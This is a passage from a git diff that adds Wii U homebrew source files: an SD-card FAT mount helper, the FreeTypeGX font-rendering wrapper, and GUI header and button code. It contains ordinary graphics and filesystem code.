pClient, pCmd); + free(mountPath); + } + + return result; +} + +int unmount_sd_fat(const char *path) +{ + void *pClient = 0; + void *pCmd = 0; + char *mountPath = 0; + + int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath); + if(result == 0) + { + UmountFS(pClient, pCmd, mountPath); + FSDelClient(pClient); + free(pClient); + free(pCmd); + free(mountPath); + //FSShutdown(); + } + return result; +} diff --git a/src/fs/sd_fat_devoptab.h b/src/fs/sd_fat_devoptab.h new file mode 100644 index 0000000..8df487a --- /dev/null +++ b/src/fs/sd_fat_devoptab.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SD_FAT_DEVOPTAB_H_ +#define __SD_FAT_DEVOPTAB_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int mount_sd_fat(const char *path); +int unmount_sd_fat(const char *path); + +#ifdef __cplusplus +} +#endif + +#endif // __SD_FAT_DEVOPTAB_H_ diff --git a/src/gui/FreeTypeGX.cpp b/src/gui/FreeTypeGX.cpp new file mode 100644 index 0000000..8ec9562 --- /dev/null +++ b/src/gui/FreeTypeGX.cpp @@ -0,0 +1,608 @@ +/* + * FreeTypeGX is a wrapper class for libFreeType which renders a compiled + * FreeType parsable font into a GX texture for Wii homebrew development. + * Copyright (C) 2008 Armin Tamzarian + * Modified by Dimok, 2015 for WiiU GX2 + * + * This file is part of FreeTypeGX. + * + * FreeTypeGX is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published + * by the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * FreeTypeGX is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with FreeTypeGX. If not, see . + */ + +#include "FreeTypeGX.h" +#include "video/CVideo.h" +#include "video/shaders/Texture2DShader.h" + +using namespace std; + +#define ALIGN4(x) (((x) + 3) & ~3) + +/** + * Default constructor for the FreeTypeGX class for WiiXplorer. + */ +FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace) +{ + int faceIndex = 0; + ftPointSize = 0; + GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR); + + FT_Init_FreeType(&ftLibrary); + if(lastFace) + { + FT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace); + faceIndex = ftFace->num_faces - 1; // Use the last face + FT_Done_Face(ftFace); + ftFace = NULL; + } + FT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace); + + ftKerningEnabled = FT_HAS_KERNING(ftFace); +} + +/** + * Default destructor for the FreeTypeGX class. + */ +FreeTypeGX::~FreeTypeGX() +{ + unloadFont(); + FT_Done_Face(ftFace); + FT_Done_FreeType(ftLibrary); +} + +/** + * Convert a short char string to a wide char string. + * + * This routine converts a supplied short character string into a wide character string. + * Note that it is the user's responsibility to clear the returned buffer once it is no longer needed. + * + * @param strChar Character string to be converted. + * @return Wide character representation of supplied character string. + */ + +wchar_t* FreeTypeGX::charToWideChar(const char* strChar) +{ + if (!strChar) return NULL; + + wchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1]; + if (!strWChar) return NULL; + + int bt = mbstowcs(strWChar, strChar, strlen(strChar)); + if (bt > 0) + { + strWChar[bt] = 0; + return strWChar; + } + + wchar_t *tempDest = strWChar; + while ((*tempDest++ = *strChar++)) + ; + + return strWChar; +} + +char *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar) +{ + if(!strChar) { + return NULL; + } + + size_t len = 0; + wchar_t wc; + + for (size_t i = 0; strChar[i]; ++i) + { + wc = strChar[i]; + if (wc < 0x80) + ++len; + else if (wc < 0x800) + len += 2; + else if (wc < 0x10000) + len += 3; + else + len += 4; + } + + char *pOut = new (std::nothrow) char[len]; + if(!pOut) + return NULL; + + size_t n = 0; + + for (size_t i = 0; strChar[i]; ++i) + { + wc = strChar[i]; + if (wc < 0x80) + pOut[n++] = (char)wc; + else if (wc < 0x800) + { + pOut[n++] = (char)((wc >> 6) | 0xC0); + pOut[n++] = (char)((wc & 0x3F) | 0x80); + } + else if (wc < 0x10000) + { + pOut[n++] = (char)((wc >> 12) | 0xE0); + pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); + pOut[n++] = (char)((wc & 0x3F) | 0x80); + } + else + { + pOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0); + pOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80); + pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); + pOut[n++] = (char)((wc & 0x3F) | 0x80); + } + } + return pOut; +} + +/** + * Clears all loaded font glyph data. + * + * This routine clears all members of the font map structure and frees all allocated memory back to the system. + */ +void FreeTypeGX::unloadFont() +{ + map::iterator itr; + map::iterator itr2; + + for (itr = fontData.begin(); itr != fontData.end(); itr++) + { + for (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++) + { + if(itr2->second.texture) + { + if(itr2->second.texture->surface.image_data) + free(itr2->second.texture->surface.image_data); + + delete itr2->second.texture; + itr2->second.texture = NULL; + } + } + } + + fontData.clear(); +} + +/** + * Caches the given font glyph in the instance font texture buffer. + * + * This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible + * structure within an instance-specific map. + * + * @param charCode The requested glyph's character code. + * @return A pointer to the allocated font structure. + */ +ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize) +{ + map::iterator itr = fontData.find(pixelSize); + if (itr != fontData.end()) + { + map::iterator itr2 = itr->second.ftgxCharMap.find(charCode); + if (itr2 != itr->second.ftgxCharMap.end()) + { + return &itr2->second; + } + } + //!Cache ascender and decender as well + ftGX2Data *ftData = &fontData[pixelSize]; + + FT_UInt gIndex; + uint16_t textureWidth = 0, textureHeight = 0; + if (ftPointSize != pixelSize) + { + ftPointSize = pixelSize; + FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); + ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6; + ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6; + ftData->ftgxAlign.max = 0; + ftData->ftgxAlign.min = 0; + } + + gIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode); + if (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0) + { + if (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP) + { + FT_Bitmap *glyphBitmap = &ftFace->glyph->bitmap; + + textureWidth = ALIGN4(glyphBitmap->width); + textureHeight = ALIGN4(glyphBitmap->rows); + if(textureWidth == 0) + textureWidth = 4; + if(textureHeight == 0) + textureHeight = 4; + + ftgxCharData *charData = &ftData->ftgxCharMap[charCode]; + charData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left; + charData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6); + charData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6); + charData->glyphIndex = (uint32_t) gIndex; + charData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top; + charData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top; + charData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top; + + //! Initialize texture + charData->texture = new GX2Texture; + GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + + loadGlyphData(glyphBitmap, charData); + + return charData; + } + } + return NULL; +} + +/** + * Locates each character in this wrapper's configured font face and proccess them. + * + * This routine locates each character in the configured font face and renders the glyph's bitmap. + * Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map. + */ +uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize) +{ + uint32_t i = 0; + FT_UInt gIndex; + + FT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex); + while (gIndex != 0) + { + if (cacheGlyphData(charCode, pixelSize) != NULL) ++i; + charCode = FT_Get_Next_Char(ftFace, charCode, &gIndex); + } + return (uint16_t) (i); +} + +/** + * Loads the rendered bitmap into the relevant structure's data buffer. + * + * This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer. + * Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value. + * + * @param bmp A pointer to the most recently rendered glyph's bitmap. + * @param charData A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph. + */ + +void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) +{ + charData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size); + if(!charData->texture->surface.image_data) + return; + + memset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size); + + uint8_t *src = (uint8_t *)bmp->buffer; + uint16_t *dst = (uint16_t *)charData->texture->surface.image_data; + int32_t x, y; + + for(y = 0; y < bmp->rows; y++) + { + for(x = 0; x < bmp->width; x++) + { + uint8_t intensity = src[y * bmp->width + x] >> 3; + dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0; + } + } + GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size); +} + +/** + * Determines the x offset of the rendered string. + * + * This routine calculates the x offset of the rendered string based off of a supplied positional format parameter. + * + * @param width Current pixel width of the string. + * @param format Positional format of the string. + */ +int16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format) +{ + if (format & FTGX_JUSTIFY_LEFT) + return 0; + else if (format & FTGX_JUSTIFY_CENTER) + return -(width >> 1); + else if (format & FTGX_JUSTIFY_RIGHT) return -width; + return 0; +} + +/** + * Determines the y offset of the rendered string. + * + * This routine calculates the y offset of the rendered string based off of a supplied positional format parameter. + * + * @param offset Current pixel offset data of the string. + * @param format Positional format of the string. + */ +int16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize) +{ + std::map::iterator itr = fontData.find(pixelSize); + if (itr == fontData.end()) return 0; + + switch (format & FTGX_ALIGN_MASK) + { + case FTGX_ALIGN_TOP: + return itr->second.ftgxAlign.descender; + + case FTGX_ALIGN_MIDDLE: + default: + return (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1; + + case FTGX_ALIGN_BOTTOM: + return itr->second.ftgxAlign.ascender; + + case FTGX_ALIGN_BASELINE: + return 0; + + case FTGX_ALIGN_GLYPH_TOP: + return itr->second.ftgxAlign.max; + + case FTGX_ALIGN_GLYPH_MIDDLE: + return (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1; + + case FTGX_ALIGN_GLYPH_BOTTOM: + return itr->second.ftgxAlign.min; + } + return 0; +} + +/** + * Processes the supplied text string and prints the results at the specified coordinates. + * + * This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer, + * a texture from said buffer, and loads the resultant texture into the EFB. + * + * @param x Screen X coordinate at which to output the text. + * @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs. + * @param text NULL terminated string to output. + * @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff} + * @param textStyle Flags which specify any styling which should be applied to the rendered string. + * @return The number of characters printed. + */ + +uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor) +{ + if (!text) + return 0; + + uint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize); + uint16_t x_pos = x, printed = 0; + uint16_t x_offset = 0, y_offset = 0; + FT_Vector pairDelta; + + if (textStyle & FTGX_JUSTIFY_MASK) + { + x_offset = getStyleOffsetWidth(fullTextWidth, textStyle); + } + if (textStyle & FTGX_ALIGN_MASK) + { + y_offset = getStyleOffsetHeight(textStyle, pixelSize); + } + + int i = 0; + + while (text[i]) + { + ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); + + if (glyphData != NULL) + { + if (ftKerningEnabled && i > 0) + { + FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); + x_pos += (pairDelta.x >> 6); + } + + copyTextureToFramebuffer(video, glyphData->texture, x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor); + + x_pos += glyphData->glyphAdvanceX; + ++printed; + } + ++i; + } + + return printed; +} + + +/** + * Processes the supplied string and return the width of the string in pixels. + * + * This routine processes each character of the supplied text string and calculates the width of the entire string. + * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. + * + * @param text NULL terminated string to calculate. + * @return The width of the text string in pixels. + */ +uint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize) +{ + if (!text) return 0; + + uint16_t strWidth = 0; + FT_Vector pairDelta; + + int i = 0; + while (text[i]) + { + ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); + + if (glyphData != NULL) + { + if (ftKerningEnabled && (i > 0)) + { + FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); + strWidth += pairDelta.x >> 6; + } + + strWidth += glyphData->glyphAdvanceX; + } + ++i; + } + return strWidth; +} + +/** + * Single char width + */ +uint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar) +{ + uint16_t strWidth = 0; + ftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize); + + if (glyphData != NULL) + { + if (ftKerningEnabled && prevChar != 0x0000) + { + FT_Vector pairDelta; + FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); + strWidth += pairDelta.x >> 6; + } + strWidth += glyphData->glyphAdvanceX; + } + + return strWidth; +} + +/** + * Processes the supplied string and return the height of the string in pixels. + * + * This routine processes each character of the supplied text string and calculates the height of the entire string. + * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. + * + * @param text NULL terminated string to calculate. + * @return The height of the text string in pixels. + */ +uint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize) +{ + getOffset(text, pixelSize); + return fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min; +} + +/** + * Get the maximum offset above and minimum offset below the font origin line. + * + * This function calculates the maximum pixel height above the font origin line and the minimum + * pixel height below the font origin line and returns the values in an addressible structure. + * + * @param text NULL terminated string to calculate. + * @param offset returns the max and min values above and below the font origin line + * + */ +void FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit) +{ + if (fontData.find(pixelSize) != fontData.end()) + return; + + int16_t strMax = 0, strMin = 9999; + uint16_t currWidth = 0; + + int i = 0; + + while (text[i]) + { + if (widthLimit > 0 && currWidth >= widthLimit) break; + + ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); + + if (glyphData != NULL) + { + strMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax; + strMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin; + currWidth += glyphData->glyphAdvanceX; + } + + ++i; + } + + if (ftPointSize != pixelSize) + { + ftPointSize = pixelSize; + FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); + } + + fontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6; + fontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6; + fontData[pixelSize].ftgxAlign.max = strMax; + fontData[pixelSize].ftgxAlign.min = strMin; +} + +/** + * Copies the supplied texture quad to the EFB. + * + * This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target. + * + * @param texObj A pointer to the glyph's initialized texture object. + * @param texWidth The pixel width of the texture object. + * @param texHeight The pixel height of the texture object. + * @param screenX The screen X coordinate at which to output the rendered texture. + * @param screenY The screen Y coordinate at which to output the rendered texture. + * @param color Color to apply to the texture. + */ +void FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor) +{ + static const f32 imageAngle = 0.0f; + static const f32 blurScale = 2.0f; + + f32 offsetLeft = 2.0f * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor(); + f32 offsetTop = 2.0f * ((f32)y - 0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor(); + + f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor(); + f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor(); + + glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z ); + + //! blur doubles due to blur we have to scale the texture + glm::vec3 scaleFactor( widthScale, heightScale, 1.0f ); + + glm::vec3 blurDirection; + blurDirection[2] = 1.0f; + + Texture2DShader::instance()->setShaders(); + Texture2DShader::instance()->setAttributeBuffer(); + Texture2DShader::instance()->setAngle(imageAngle); + Texture2DShader::instance()->setOffset(positionOffsets); + Texture2DShader::instance()->setScale(scaleFactor); + Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler); + + if(blurIntensity > 0.0f) + { + //! glow blur color + Texture2DShader::instance()->setColorIntensity(blurColor); + + //! glow blur horizontal + blurDirection[0] = blurIntensity; + blurDirection[1] = 0.0f; + Texture2DShader::instance()->setBlurring(blurDirection); + Texture2DShader::instance()->draw(); + + //! glow blur vertical + blurDirection[0] = 0.0f; + blurDirection[1] = blurIntensity; + Texture2DShader::instance()->setBlurring(blurDirection); + Texture2DShader::instance()->draw(); + } + + //! set text color + Texture2DShader::instance()->setColorIntensity(color); + + //! blur horizontal + blurDirection[0] = defaultBlur; + blurDirection[1] = 0.0f; + Texture2DShader::instance()->setBlurring(blurDirection); + Texture2DShader::instance()->draw(); + + //! blur vertical + blurDirection[0] = 0.0f; + blurDirection[1] = defaultBlur; + Texture2DShader::instance()->setBlurring(blurDirection); + Texture2DShader::instance()->draw(); +} diff --git a/src/gui/FreeTypeGX.h b/src/gui/FreeTypeGX.h new file mode 100644 index 0000000..5829fdc --- /dev/null +++ b/src/gui/FreeTypeGX.h @@ -0,0 +1,155 @@ +/* + * FreeTypeGX is a wrapper class for libFreeType which renders a compiled + * FreeType parsable font into a GX texture for Wii homebrew development. + * Copyright (C) 2008 Armin Tamzarian + * Modified by Dimok, 2015 for WiiU GX2 + * + * This file is part of FreeTypeGX. + * + * FreeTypeGX is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published + * by the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * FreeTypeGX is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with FreeTypeGX. If not, see . + */ + +#ifndef FREETYPEGX_H_ +#define FREETYPEGX_H_ + +#include +#include +#include +#include FT_FREETYPE_H +#include FT_BITMAP_H + +#include +#include +#include +#include + +#include +#include + +#include "dynamic_libs/gx2_functions.h" + +/*! \struct ftgxCharData_ + * + * Font face character glyph relevant data structure. + */ +typedef struct ftgxCharData_ +{ + int16_t renderOffsetX; /**< Texture X axis bearing offset. */ + uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */ + uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */ + uint32_t glyphIndex; /**< Charachter glyph index in the font face. */ + + int16_t renderOffsetY; /**< Texture Y axis bearing offset. */ + int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */ + int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */ + + GX2Texture * texture; +} ftgxCharData; + +/*! \struct ftgxDataOffset_ + * + * Offset structure which hold both a maximum and minimum value. + */ +typedef struct ftgxDataOffset_ +{ + int16_t ascender; /**< Maximum data offset. */ + int16_t descender; /**< Minimum data offset. */ + int16_t max; /**< Maximum data offset. */ + int16_t min; /**< Minimum data offset. */ +} ftgxDataOffset; + +typedef struct ftgxCharData_ ftgxCharData; +typedef struct ftgxDataOffset_ ftgxDataOffset; +#define _TEXT(t) L ## t /**< Unicode helper macro. */ + +#define FTGX_NULL 0x0000 +#define FTGX_JUSTIFY_LEFT 0x0001 +#define FTGX_JUSTIFY_CENTER 0x0002 +#define FTGX_JUSTIFY_RIGHT 0x0004 +#define FTGX_JUSTIFY_MASK 0x000f + +#define FTGX_ALIGN_TOP 0x0010 +#define FTGX_ALIGN_MIDDLE 0x0020 +#define FTGX_ALIGN_BOTTOM 0x0040 +#define FTGX_ALIGN_BASELINE 0x0080 +#define FTGX_ALIGN_GLYPH_TOP 0x0100 +#define FTGX_ALIGN_GLYPH_MIDDLE 0x0200 +#define FTGX_ALIGN_GLYPH_BOTTOM 0x0400 +#define FTGX_ALIGN_MASK 0x0ff0 + +#define FTGX_STYLE_UNDERLINE 0x1000 +#define FTGX_STYLE_STRIKE 0x2000 +#define FTGX_STYLE_MASK 0xf000 + +/**< Constant color value used only to sanitize Doxygen documentation. */ +static const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; + + +//! forward declaration +class CVideo; + +/*! \class FreeTypeGX + * \brief Wrapper class for the libFreeType library with GX rendering. + * \author Armin Tamzarian + * \version 0.2.4 + * + * FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into + * a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance + * GX texture functions resulting in high throughput of string rendering. + */ +class FreeTypeGX +{ + private: + FT_Library ftLibrary; /**< FreeType FT_Library instance. */ + FT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */ + int16_t ftPointSize; /**< Current set size of the rendered font. */ + bool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */ + uint8_t vertexIndex; /**< Vertex format descriptor index. */ + GX2Sampler ftSampler; + + typedef struct _ftGX2Data + { + ftgxDataOffset ftgxAlign; + std::map ftgxCharMap; + } ftGX2Data; + + std::map fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */ + + int16_t getStyleOffsetWidth(uint16_t width, uint16_t format); + int16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize); + + void unloadFont(); + ftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize); + uint16_t cacheGlyphDataComplete(int16_t pixelSize); + void loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData); + + void copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor); + + public: + FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false); + ~FreeTypeGX(); + + uint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, + uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor); + + uint16_t getWidth(const wchar_t *text, int16_t pixelSize); + uint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000); + uint16_t getHeight(const wchar_t *text, int16_t pixelSize); + void getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0); + + static wchar_t* charToWideChar(const char* p); + static char* wideCharToUTF8(const wchar_t* strChar); +}; + +#endif /* FREETYPEGX_H_ */ diff --git a/src/gui/Gui.h b/src/gui/Gui.h new file mode 100644 index 0000000..fb841c5 --- /dev/null +++ b/src/gui/Gui.h @@ -0,0 +1,30 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __GUI_H +#define __GUI_H + +#include "GuiElement.h" +#include "GuiImageData.h" +#include "GuiImage.h" +#include "GuiFrame.h" +#include "GuiController.h" +#include "GuiText.h" +#include "GuiSound.h" +#include "GuiButton.h" +#include "GuiTrigger.h" + +#endif diff --git a/src/gui/GuiButton.cpp b/src/gui/GuiButton.cpp new file mode 100644 index 0000000..bd5c6ee --- /dev/null +++ b/src/gui/GuiButton.cpp @@ -0,0 +1,290 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiButton.h" +#include "GuiController.h" + +/** + * Constructor for the GuiButton class. + */ + +GuiButton::GuiButton(f32 w, f32 h) +{ + width = w; + height = h; + image = NULL; + imageOver = NULL; + imageHold = NULL; + imageClick = NULL; + icon = NULL; + iconOver = NULL; + + for(int i = 0; i < 4; i++) + { + label[i] = NULL; + labelOver[i] = NULL; + labelHold[i] = NULL; + labelClick[i] = NULL; + } + for(int i = 0; i < iMaxGuiTriggers; i++) + { + trigger[i] = NULL; + } + + soundOver = NULL; + soundHold = NULL; + soundClick = NULL; + clickedTrigger = NULL; + heldTrigger = NULL; + selectable = true; + holdable = false; + clickable = true; +} + +/** + * Destructor for the GuiButton class. + */ +GuiButton::~GuiButton() +{ +} + +void GuiButton::setImage(GuiImage* img) +{ + image = img; + if(img) img->setParent(this); +} +void GuiButton::setImageOver(GuiImage* img) +{ + imageOver = img; + if(img) img->setParent(this); +} +void GuiButton::setImageHold(GuiImage* img) +{ + imageHold = img; + if(img) img->setParent(this); +} +void GuiButton::setImageClick(GuiImage* img) +{ + imageClick = img; + if(img) img->setParent(this); +} +void GuiButton::setIcon(GuiImage* img) +{ + icon = img; + if(img) img->setParent(this); +} +void GuiButton::setIconOver(GuiImage* img) +{ + iconOver = img; + if(img) img->setParent(this); +} + +void GuiButton::setLabel(GuiText* txt, int n) +{ + label[n] = txt; + if(txt) txt->setParent(this); +} +void GuiButton::setLabelOver(GuiText* txt, int n) +{ + labelOver[n] = txt; + if(txt) txt->setParent(this); +} +void GuiButton::setLabelHold(GuiText* txt, int n) +{ + labelHold[n] = txt; + if(txt) txt->setParent(this); +} +void GuiButton::setLabelClick(GuiText* txt, int n) +{ + labelClick[n] = txt; + if(txt) txt->setParent(this); +} +void GuiButton::setSoundOver(GuiSound * snd) +{ + soundOver = snd; +} +void GuiButton::setSoundHold(GuiSound * snd) +{ + soundHold = snd; +} + +void GuiButton::setSoundClick(GuiSound * snd) +{ + soundClick = snd; +} + +void GuiButton::setTrigger(GuiTrigger * t, int idx) +{ + if(idx >= 0 && idx < iMaxGuiTriggers) + { + trigger[idx] = t; + } + else + { + for(int i = 0; i < iMaxGuiTriggers; i++) + { + if(!trigger[i]) + { + trigger[i] = t; + break; + } + } + } +} + +void GuiButton::resetState(void) +{ + clickedTrigger = NULL; + heldTrigger = NULL; + GuiElement::resetState(); +} + +/** + * Draw the button on screen + */ +void GuiButton::draw(CVideo *v) +{ + if(!this->isVisible()) + return; + + // draw image + if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver) + imageOver->draw(v); + else if(image) + image->draw(v); + + if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver) + iconOver->draw(v); + else if(icon) + icon->draw(v); + + // draw text + for(int i = 0; i < 4; i++) + { + if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i]) + labelOver[i]->draw(v); + else if(label[i]) + label[i]->draw(v); + } +} + +void GuiButton::update(GuiController * c) +{ + if(!c || isStateSet(STATE_DISABLED, c->chan) || isStateSet(STATE_HIDDEN, c->chan)) + return; + else if(parentElement && (parentElement->isStateSet(STATE_DISABLED, c->chan) || 